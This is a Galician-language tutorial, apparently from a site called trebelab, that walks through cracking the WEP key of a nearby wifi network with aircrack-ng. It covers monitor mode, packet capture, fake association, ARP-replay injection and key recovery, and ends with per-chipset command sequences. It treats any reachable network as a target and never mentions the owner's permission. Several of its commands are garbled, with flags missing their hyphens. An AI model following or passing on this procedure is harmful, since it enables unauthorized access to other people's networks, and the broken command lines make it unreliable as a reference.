presentación

O que imos tentar facer é obter a chave dunha rede wifi. Unha configuración básica desa rede sería un portátil conectado a un punto de acceso / router. Para navegar por internet, descargar aplicacións, axustar a hora do reloxo, ese portátil intercambia paquetes de información co punto de acceso.

Para lograr a chave da rede escoitaremos e almacenaremos eses paquetes transmitidos ata lograr unhas cantas decenas de miles. Sobre ese conxunto correremos unha ferramenta que inspeccionando os paquetes logra identificar a chave.

Simplemente poderíamos deixar a nosa computadora escoitando esa rede, logrando tras horas [dependendo do uso (tráfico) que estean a facer da rede], a cantidade suficiente de paquetes.

Pero iso podería resultar moi aburrido [ou impracticable], así que tentaremos acelerar o proceso creando tráfico falso, reenviando (inxectando) algúns dos paquetes recibidos e obtendo con eles máis paquetes, chegando rapidamente [en minutos] a centos de miles.

Lamentablemente non todas as tarxetas wifi permiten a inxección de paquetes, e aínda nas que é posible, quizá teñamos que parchear (modificar) o controlador da tarxeta ou o mesmo kernel de linux.

preparación do equipo

Precisaremos unha computadora con una tarxeta wifi que admita inxección. Nesta computadora estará a correr **linux** ou empregaremos unha versión live (un linux que pode funcionar dende un cd, sen necesidade de instalarse e polo tanto sen modificala computadora, por exemplo ubuntu ou backtrack (baixables dende as súas paxinas web)).

Para saber se a nosa tarxeta wifi soporta inxección, o primeiro será saber o modelo que é. Se falamos dun portátil pode ser sinxelo coñecelo buscando na web as características. Pero tamén é sinxelo abrir unha terminal [en ubuntu: aplicacións -> accesorios -> terminal] e nela escribir *lspci* se a tarxeta é pci ou *lsusb* se a tarxeta é usb, e buscar a liña que se refire o dispositivo wifi. **Identificado** o modelo, podemos mirar na páxina de aircrack o nivel de compatibilidade.

Pode ocorrer (a) que a tarxeta non sexa compatible (por exemplo as que utilizan como **controlador** ndiswraper), (b) que sexa compatible e admita inxección se parcheamos o controlador ou con versións específicas do controlador, etc. que verán indicadas na mesma páxina de aircrack (pero que pode requirir certo coñecemento adicional, tendo que modificar algún paso segundo o teu sistema..) ou (c) que sexa compatible sen ter que facer nada.

As veces é máis doado utilizar temporalmente unha tarxeta wifi usb con soporte de inxección 'nativa' que tentar configurar a tarxeta incorporada na computadora. Tamén existen distribucións de linux especialmente indicadas para auditoría wifi que inclúen controladores / kernel xa parcheados e que están dispoñibles como versións live (backtrack, wifislax). Podemos utilizar esa versión live para auditar e logo voltar a nosa instalación linux inmaculada.

Neste punto deberiamos ter una tarxeta wifi con capacidade para inxectar, co controlador adecuado.

Por suposto, tamén precisamos instalar a suite (conxunto de programas) **aircrack-ng**. En debian/ubuntu por exemplo podemos escribir nunha terminal

sudo apt-get install aircrack-ng

antes do proceso

Un paso previo é cerrar tódalas aplicacións que traballan coa nosa tarxeta [por exemplo network manager], e poñer a nosa tarxeta en modo monitor [un estado da tarxeta no que escoita paquetes].

Identificaremos o noso dispositivo wifi con

iwconfig

la lista aparecerá un ethX, raX, wlanX, wifiX... que teña propiedades wifi.

E agora poñerlo en modo monitor, que dependerá do controlador, e na sua versión mais simple, será

airmon-ng start <disp0>

Tamén dependendo do controlador a nosa tarxeta en modo monitor conservará o nome ou pasará a chamarse de outro modo, como athX, monX

Ese nome será o que empregaremos nas instrucións vindeiras.

o proceso

Chega a parte doada. Abrimos 4 terminais, e nas catro facémonos administradoras con *su* ou *sudo su* [o prompt pasará de $ a #]. Na primeira terminal escribimos

airodump-ng <disp>

substituindo <disp> polo nome do dispositivo en modo monitor.

De este modo airodump irá amosando as redes atopadas, a tarxeta estará paseando por tódalas canles (CH superior - o número de canle irá mudando), e podemos fixarnos na rede na que estamos interesados: ten que estar **achegada** a nos (veremos crecer os seus Beacons, alta potencia PWR, boa resposta RXQ), ter encriptación (ENC) **WEP**, ter autorización aberta (AUTH - amosando **Open** ou en branco se aínda non sabe) e debería amosar certo trafico de paquetes na columna #Data.

E de esa rede quedámonos co seu nome (ESSID) e co canal no que traballa (CH) [se tes problemas co ESSID, porque por exemplo aparece mais de unha rede co mesmo nome ou o nome ten caracteres extranos, as aplicacións de aircrack pódense empregar co BSSID de parámetro]

Pechamos airodump-ng pulsando Ctrl+C.

Agora imos a traballar coas 4 terminais a vez. Na primeira estará airodump-ng gardando os paquetes que escoite. Na segunda, aircrack-ng tentará obter a chave. Empregaremos terceira e cuarta para a inxección con aireplay-ng. Na terceira asociándonos o punto de acceso, e na cuarta inxectando os paquetes.

Imos aló.

1. Voltamos a abrir airodump-ng na primeira terminal, pero esta vez con dúas variacións: fixamos o canle ó canle no que está a rede e dicímoslle que garde os paquetes #Data que vaia escoitando nun ficheiro de nome NOMFICH, escribindo algo como

airodump-ng -c CH -w NOMFICH <disp>

onde CH será a canle, <disp> o noso dispositivo e NOMFICH un nome de arquivo. Quedarase airodump-ng funcionando, gardando tódolos paquetes de #Data, ate que o final, xa atopada a chave, o paremos manualmente con Ctrl+C

2- mentres, na segunda terminal, xa podemos arrincar aircrack-ng con

aircrack-ng -z NOMFICH-xx.cap

```
CH  9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:09:5B:1C:xx:xx   11  16       10        0    0  11  54. OPN              NETGEAR
00:14:6C:7A:xx:xx   34 100       57       14    1   9  11  WEP  WEP         bigbear
00:14:6C:7E:xx:xx   32 100      752       73    2   9  54  WPA  TKIP   PSK  teddy

BSSID              STATION            PWR  Lost  Packets  Probes

00:14:6C:7A:xx:xx  00:0F:B5:32:xx:xx   51     2       14
(not associated)   00:14:A4:3F:xx:xx   19     0        4  mossy
```

NOMFICH-xx.cap é o mesmo ficheiro onde está a escribir airodump-ng da primeira terminal, pero airodump-ng engade un número o final de NOMFICH que vai aumentando [NOMFICH-01.cap, NOMFICH-02.cap...] cada vez que arranca para non sobreescribir a anterior captura. E tamén engade a extensión cap. [podes ver os arquivos existentes para ver cal é o último escribindo *ls*].

O abrirse aircrack-ng pode (a) dicir que o arquivo está baleiro e que non pode facer nada - sen problema, xa o relanzaremos máis adiante (b) atoparse paquetes de só unha rede, entón porase a tentar dar coa chave - se fose capaz de sacala, pararía e xa a teríamos! se non, despois de un bo tempo dirá que non pode e que esperará a ter máis paquetes #Data no arquivo [airodump-ng o estar funcionando na terminal 1 seguirá escribindo paquetes] e entón volverá a probar (c) que haxa paquetes de máis de unha rede, entón mostrará de que redes ten datos e teremos que dicirlle cal nos interesa.

Así como temos as cousas xa sería cuestión de deixala computadora e con paciencia dar coa chave. Pouco a pouco airodump enchería o ficheiro coa #Data, e nalgún momento habería paquetes dabondo [dependendo da fortaleza da chave poden ser necesarios 20.000 ou 100.000] para que aircrack que traballa na segunda terminal dese coa chave, amosando un

KEY FOUND

dando o resultado en hexadecimal (pares entre dobre puntos) e se ten "tradución" a ascii tamén en ascii.

3- Como diciamos a idea agora é acelerar o proceso. Na terceira terminal,

aireplay-ng -1 0 -e ESSID <disp>

poñendo como ESSID o nome da rede que anotáramos e <disp> o noso dispositivo. a intención é asociarnos o punto de acceso, para que os paquetes que o punto de acceso responda ós paquetes que imos inxectar. Se todo vai ben, aparecerá ó pé

Association successful :)

pero si tras intentalo é incapaz, non ten sentido seguir na cuarta terminal, así que podemos probar alternativas, por exemplo

aireplay-ng -1 6000 o 1 q 10 e ESSID <disp>

noutros casos podemos tentar baixar a velocidade da tarxeta

iwconfig <disp> rate 1M
aireplayng 1 0 e ESSID <disp>
iwconfig <disp> rate auto

pero pode ocorrer que non sexamos capaces de asociarnos [polo tipo de punto de acceso, por contar con un filtro de MAC...] e nese caso deberiamos optar por outro achegamento que non veremos aquí.

4- Se as cousas van ben, estaremos asociados, e poderemos escribir na cuarta terminal,

aireplay-ng 3 e ESSID <disp>

Aireplay porase a escoitar os paquetes #Data, e cando atope un que lle resulte "útil", inxectarao inmediatamente para redifundirse xerando máis #Data útil.

Pódese comprobar se funciona mirando a primeira terminal na que corre airodump. Os paquetes #Data deberían incrementar rapidamente e #/s tomar un valor decente [entre 300 e 400, pero pode ser tan baixo como 100 e tan alto coma 1000]

Se nalgún momento aparece a mensaxe indicando algo sobre DeAuthentication, e que xa non estamos asociados. Podemos, na terminal 3, reintentar asociarnos, correndo de novo aireplay -1 0.

Se aireplay-ng parece traballar pero #Data non aumenta, podemos cortalo [Ctrl+C] e volver a lanzalo.

Se temos inxección, #Data pronto chegará a un valor suficientemente alto, e airecrack na terminal dúas, daranos a chave.

Paso a paso cunha Atheros

T1
iwconfig
#si existe algún athX eliminamolo con
airmonng stop athX
airmonng start wifi0
#diranos que creou ath0, examinamos con
airodumpng ath0
#mostrara as redes. o destino debe ser WEP...
#anotamos nome da rede e canle
e cerramos Ctrl+C, centrámonos nesa rede
airodumpng c <channel> w paquetes ath0

T3
aireplayng 1 0 e nombrered ath0
#e cando responda que esta asociado

T4
aireplayng 3 -e nombrered ath0
#en canto pille un ARP, inxectará paquetes,
#set crecerá e Data en T1 tamén.

T2
#podemos ir probando con
aircrackng z paquetes-01.cap

Paso a paso cunha RaLink

T1
ifconfig wlan1 down
iwpriv wlan1 rfmontx 1
ifconfig wlan1 up
#agora podemos examinar con
airodumpng wlan1
#mostraranos as redes. anotamos nome e canle
#cerramos con Ctrl+C
airodumpng c <channel> w paquetes wlan1

T3
aireplayng 1 0 e nomerede wlan1
#esperamos a estar asociados

T4
aireplayng 3 -e nomerede wlan1
#en canto pille un ARP, inxectará paquetes
#set crecerá e #Data en T1 tamén.

T2
#podemos ir probando
aircrackng z paquetes-01.cap

Paso a paso cunha c54ru

T1
- ***iwconfig*** para coñecer o nome de dispositivo de nosa c54ru [por exemplo wlan2]
- modo monitor con ***airmon-ng start wlan2*** que nos dirá *monitor mode enabled on mon0*
- buscamos algo que nos interese con ***airodump-ng mon0***
- unha vez localizado quedámonos co nome [por exemplo WLAN_AA] da rede e o seu canle [por exemplo 9]
- pechamos airodump [Ctrl+C] e o volvemos a abrir pero fixando a canle e gardando os datos [digamos que en algo chamado paquetes] ***airodump-ng -c 9 -w paquetes mon0***

T3
noutro terminal asociámonos ***aireplay-ng -1 0 -e WLAN_AA mon0*** recibindo un *Association successful :-)*

T4
poñémonos a inxectar ***aireplay-ng -3 -e WLAN_AA mon0***

T2
podemos intentar ***aircrack-ng -z paquetes-01.cap e*** seleccionar a rede WLAN_AA que buscamos. [segundo as veces que fose arrincado airodump, o arquivo chamarase automaticamente paquetes-01, paquetes-02 ...]

---

trebelab. abrindo redes güifi v.1m
http://trebelab.arkipelagos.net

este micro-titorial centrase só no uso máis básico [para outros métodos para comprometer redes, consultar www.aircrack-ng.org] de aircrack-ng [existen outros programas, algúns deles buscando unha interface sinxela e uso doado] sobre linux [no nos interesan sistemas operativos privativos como windows ou macos].